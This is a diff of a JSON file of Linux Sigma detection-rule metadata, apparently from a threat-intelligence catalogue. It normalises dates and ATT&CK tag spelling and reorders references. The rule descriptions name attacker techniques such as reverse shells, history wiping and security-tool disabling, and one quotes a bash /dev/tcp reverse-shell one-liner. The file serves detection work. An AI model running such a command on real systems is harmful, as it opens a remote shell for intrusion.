}, @@ -102412,7 +102708,7 @@ "description": "Detects the execution of a cat /etc/sudoers to list all users that have sudo rights", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Legitimate administration activities" ], @@ -102445,7 +102741,7 @@ "description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Legitimate administration activities" ], @@ -102479,7 +102775,7 @@ "description": "Detects linux package removal using builtin tools such as \"yum\", \"apt\", \"apt-get\" or \"dpkg\".", "meta": { "author": "Tuan Le (NCSGroup), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/09", + "creation_date": "2023-03-09", "falsepositive": [ "Administrator or administrator scripts might delete packages for several reasons (debugging, troubleshooting)." ], @@ -102488,14 +102784,14 @@ "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ - "https://linuxhint.com/uninstall_yum_package/", "https://www.tutorialspoint.com/how-to-install-a-software-on-linux-using-yum-command", - "https://linuxhint.com/uninstall-debian-packages/", + "https://linuxhint.com/uninstall_yum_package/", "https://sysdig.com/blog/mitre-defense-evasion-falco", + "https://linuxhint.com/uninstall-debian-packages/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remove_package.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070" ] }, @@ -102515,7 +102811,7 @@ "description": "Detects execution of the \"esxcli\" command with the \"system\" and \"permission\" flags in order to assign admin permissions to an account.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/04", + "creation_date": "2023-09-04", "falsepositive": [ "Legitimate administration activities" ], @@ -102538,7 +102834,7 @@ "description": "Detects listing of the inodes of the \"/\" directory to determine if the we are running inside of a container.", "meta": { "author": "Seth Hanford", - "creation_date": "2023/08/23", + "creation_date": "2023-08-23", "falsepositive": [ "Legitimate system administrator usage of these commands", "Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered" @@ -102573,7 +102869,7 @@ "description": "Detects command line parameters or strings often used by crypto miners", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/10/26", + "creation_date": "2021-10-26", "falsepositive": [ "Legitimate use of crypto miners" ], @@ -102606,7 +102902,7 @@ "description": "Detects chmod targeting files in abnormal directory paths.", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/03", + "creation_date": "2022-06-03", "falsepositive": [ "Admin changing file permissions." ], @@ -102620,7 +102916,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1222.002" ] }, @@ -102640,7 +102936,7 @@ "description": "Detects the injection of code by overwriting the memory map of a Linux process using the \"dd\" Linux command.", "meta": { "author": "Joseph Kamau", - "creation_date": "2023/12/01", + "creation_date": "2023-12-01", "falsepositive": [ "Unknown" ], @@ -102654,7 +102950,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_process_injection.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055.009" ] }, @@ -102674,7 +102970,7 @@ "description": "Detects events with patterns found in commands used for reconnaissance on linux systems", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/20", + "creation_date": "2022-06-20", "falsepositive": [ "Legitimate administration activities" ], @@ -102689,7 +102985,7 @@ "tags": [ "attack.reconnaissance", "attack.t1592.004", - "attack.credential_access", + "attack.credential-access", "attack.t1552.001" ] }, @@ -102716,7 +103012,7 @@ "description": "Detects an executable initiating a network connection to \"LocaltoNet\" tunneling sub-domains.\nLocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet.\nAttackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.\n", "meta": { "author": "Andreas Braathen (mnemonic.io)", - "creation_date": "2024/06/17", + "creation_date": "2024-06-17", "falsepositive": [ "Legitimate use of the LocaltoNet service." ], @@ -102730,7 +103026,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_domain_localtonet_tunnel.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1572", "attack.t1090", "attack.t1102" @@ -102766,7 +103062,7 @@ "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/11/03", + "creation_date": "2022-11-03", "falsepositive": [ "Legitimate use of ngrok" ], @@ -102781,7 +103077,7 @@ ], "tags": [ "attack.exfiltration", - "attack.command_and_control", + "attack.command-and-control", "attack.t1567", "attack.t1568.002", "attack.t1572", @@ -102834,7 +103130,7 @@ "description": "Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/10/16", + "creation_date": "2021-10-16", "falsepositive": [ "Unknown" ], @@ -102867,7 +103163,7 @@ "description": "Detects process connections to a Monero crypto mining pool", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/10/26", + "creation_date": "2021-10-26", "falsepositive": [ "Legitimate use of crypto miners" ], @@ -102900,7 +103196,7 @@ "description": "Detects programs that connect to known malware callback ports based on threat intelligence reports.\n", "meta": { "author": "hasselj", - "creation_date": "2024/05/10", + "creation_date": "2024-05-10", "falsepositive": [ "Unknown" ], @@ -102909,16 +103205,16 @@ "logsource.category": "network_connection", "logsource.product": "linux", "refs": [ + "https://thehackernews.com/2024/01/systembc-malwares-c2-server-analysis.html", + "https://www.mandiant.com/resources/blog/ukraine-and-sandworm-team", "https://www.mandiant.com/resources/blog/triton-actor-ttp-profile-custom-attack-tools-detections", "https://www.elastic.co/guide/en/security/current/potential-non-standard-port-ssh-connection.html", "https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors", - "https://www.mandiant.com/resources/blog/ukraine-and-sandworm-team", - "https://thehackernews.com/2024/01/systembc-malwares-c2-server-analysis.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_susp_malware_callback_port.yml" ], "tags": [ "attack.persistence", - "attack.command_and_control", + "attack.command-and-control", "attack.t1571" ] }, @@ -102938,7 +103234,7 @@ "description": "Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/04/02", + "creation_date": "2019-04-02", "falsepositive": [ "Unknown" ], @@ -102971,7 +103267,7 @@ "description": "Detects suspicious command with /dev/tcp", "meta": { "author": "frack113", - "creation_date": "2021/12/10", + "creation_date": "2021-12-10", "falsepositive": [ "Unknown" ], @@ -102980,9 +103276,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://book.hacktricks.xyz/shells/shells/linux", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", + "https://book.hacktricks.xyz/shells/shells/linux", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml" ], "tags": [ @@ -102996,7 +103292,7 @@ "description": "Detects the presence of \"bpf_probe_write_user\" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.", "meta": { "author": "Red Canary (idea), Nasreddine Bencherchali", - "creation_date": "2023/01/25", + "creation_date": "2023-01-25", "falsepositive": [ "Unknown" ], @@ -103011,7 +103307,7 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "0fadd880-6af3-4610-b1e5-008dc3a11b8a", @@ -103021,7 +103317,7 @@ "description": "Detects suspicious command sequence that JexBoss", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/08/24", + "creation_date": "2017-08-24", "falsepositive": [ "Unknown" ], @@ -103054,7 +103350,7 @@ "description": "Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/04/05", + "creation_date": "2019-04-05", "falsepositive": [ "Unknown" ], @@ -103087,7 +103383,7 @@ "description": "Detects buffer overflow attempts in Unix system log files", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/01", + "creation_date": "2017-03-01", "falsepositive": [ "Unknown" ], @@ -103101,7 +103397,7 @@ ], "tags": [ "attack.t1068", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "related": [ @@ -103120,7 +103416,7 @@ "description": "Detects suspicious shell commands used in various exploit codes (see references)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/08/21", + "creation_date": "2017-08-21", "falsepositive": [ "Unknown" ], @@ -103129,10 +103425,10 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", "https://web.archive.org/web/20170319121015/http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html", - "http://pastebin.com/FtygZ1cg", "https://artkond.com/2017/03/23/pivoting-guide/", - "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", + "http://pastebin.com/FtygZ1cg", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml" ], "tags": [ @@ -103156,7 +103452,7 @@ "description": "Detects suspicious log entries in Linux log files", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/25", + "creation_date": "2017-03-25", "falsepositive": [ "Unknown" ], @@ -103179,7 +103475,7 @@ "description": "Detects the addition of a new user to a privileged group such as \"root\" or \"sudo\"", "meta": { "author": "Pawel Mazur", - "creation_date": "2022/12/21", + "creation_date": "2022-12-21", "falsepositive": [ "Administrative activity" ], @@ -103222,7 +103518,7 @@ "description": "Detects the ld.so preload persistence file. See `man ld.so` for more information.", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/05/05", + "creation_date": "2021-05-05", "falsepositive": [ "Rare temporary workaround for library misconfiguration" ], @@ -103236,7 +103532,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.006" ] }, @@ -103256,7 +103552,7 @@ "description": "Detects specific commands commonly used to remove or empty the syslog", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2021/09/10", + "creation_date": "2021-09-10", "falsepositive": [ "Log rotation" ], @@ -103289,7 +103585,7 @@ "description": "Detects shellshock expressions in log files", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/14", + "creation_date": "2017-03-14", "falsepositive": [ "Unknown" ], @@ -103322,7 +103618,7 @@ "description": "Detects the use of tools that copy files from or to remote systems", "meta": { "author": "Ömer Günal", - "creation_date": "2020/06/18", + "creation_date": "2020-06-18", "falsepositive": [ "Legitimate administration activities" ], @@ -103335,8 +103631,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml" ], "tags": [ - "attack.command_and_control", - "attack.lateral_movement", + "attack.command-and-control", + "attack.lateral-movement", "attack.t1105" ] }, @@ -103356,7 +103652,7 @@ "description": "Detects commands that try to clear or tamper with the Linux command history.\nThis technique is used by threat actors in order to evade defenses and execute commands without them being recorded in files such as \"bash_history\" or \"zsh_history\".\n", "meta": { "author": "Patrick Bareiss", - "creation_date": "2019/03/24", + "creation_date": "2019-03-24", "falsepositive": [ "Unknown" ], @@ -103371,7 +103667,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.003" ] }, @@ -103391,7 +103687,7 @@ "description": "Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)", "meta": { "author": "Bhabesh Raj", - "creation_date": "2022/05/04", + "creation_date": "2022-05-04", "falsepositive": [ "Unknown" ], @@ -103400,12 +103696,12 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/Immersive-Labs-Sec/nimbuspwn", "https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/", + "https://github.com/Immersive-Labs-Sec/nimbuspwn", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1068" ] }, @@ -103425,7 +103721,7 @@ "description": "Detects space after filename", "meta": { "author": "Ömer Günal", - "creation_date": "2020/06/17", + "creation_date": "2020-06-17", "falsepositive": [ "Typos" ], @@ -103448,7 +103744,7 @@ "description": "Detects suspicious shell commands used in various Equation Group scripts and tools", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/04/09", + "creation_date": "2017-04-09", "falsepositive": [ "Unknown" ], @@ -103482,7 +103778,7 @@ "description": "Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/07/05", + "creation_date": "2017-07-05", "falsepositive": [ "Unknown" ], @@ -103495,7 +103791,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/vsftpd/lnx_vsftpd_susp_error_messages.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -103515,7 +103811,7 @@ "description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs", "meta": { "author": "Sreeman", - "creation_date": "2022/01/26", + "creation_date": "2022-01-26", "falsepositive": [ "Unknown" ], @@ -103528,7 +103824,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/auth/lnx_auth_pwnkit_local_privilege_escalation.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548.001" ] }, @@ -103548,7 +103844,7 @@ "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/15", + "creation_date": "2019-10-15", "falsepositive": [ "Unlikely" ], @@ -103563,10 +103859,10 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sudo/lnx_sudo_cve_2019_14287_user.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1068", "attack.t1548.003", - "cve.2019.14287" + "cve.2019-14287" ] }, "related": [ @@ -103592,7 +103888,7 @@ "description": "Detects relevant ClamAV messages", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/01", + "creation_date": "2017-03-01", "falsepositive": [ "Unknown" ], @@ -103605,7 +103901,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/clamav/lnx_clamav_relevant_message.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588.001" ] }, @@ -103625,7 +103921,7 @@ "description": "Detects disabling security tools", "meta": { "author": "Ömer Günal, Alejandro Ortuno, oscd.community", - "creation_date": "2020/06/17", + "creation_date": "2020-06-17", "falsepositive": [ "Legitimate administration activities" ], @@ -103638,7 +103934,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/syslog/lnx_syslog_security_tools_disabling_syslog.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -103658,7 +103954,7 @@ "description": "Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/02/20", + "creation_date": "2018-02-20", "falsepositive": [ "Unknown" ], @@ -103671,7 +103967,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/syslog/lnx_syslog_susp_named.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -103691,7 +103987,7 @@ "description": "Detects exploitation attempt using public exploit code for CVE-2018-15473", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/08/24", + "creation_date": "2017-08-24", "falsepositive": [ "Unknown" ], @@ -103724,7 +104020,7 @@ "description": "Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/06/30", + "creation_date": "2017-06-30", "falsepositive": [ "Unknown" ], @@ -103733,12 +104029,12 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", "https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c", + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sshd/lnx_sshd_susp_ssh.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -103758,7 +104054,7 @@ "description": "Detects suspicious session with two users present", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/03", + "creation_date": "2020-07-03", "falsepositive": [ "Unknown" ], @@ -103771,7 +104067,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/guacamole/lnx_guacamole_susp_guacamole.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1212" ] }, @@ -103791,7 +104087,7 @@ "description": "Detects suspicious modification of crontab file.", "meta": { "author": "Pawel Mazur", - "creation_date": "2022/04/16", + "creation_date": "2022-04-16", "falsepositive": [ "Legitimate modification of crontab" ], @@ -103821,5 +104117,5 @@ "value": "Modifying Crontab" } ], - "version": 20240717 + "version": 20240820 }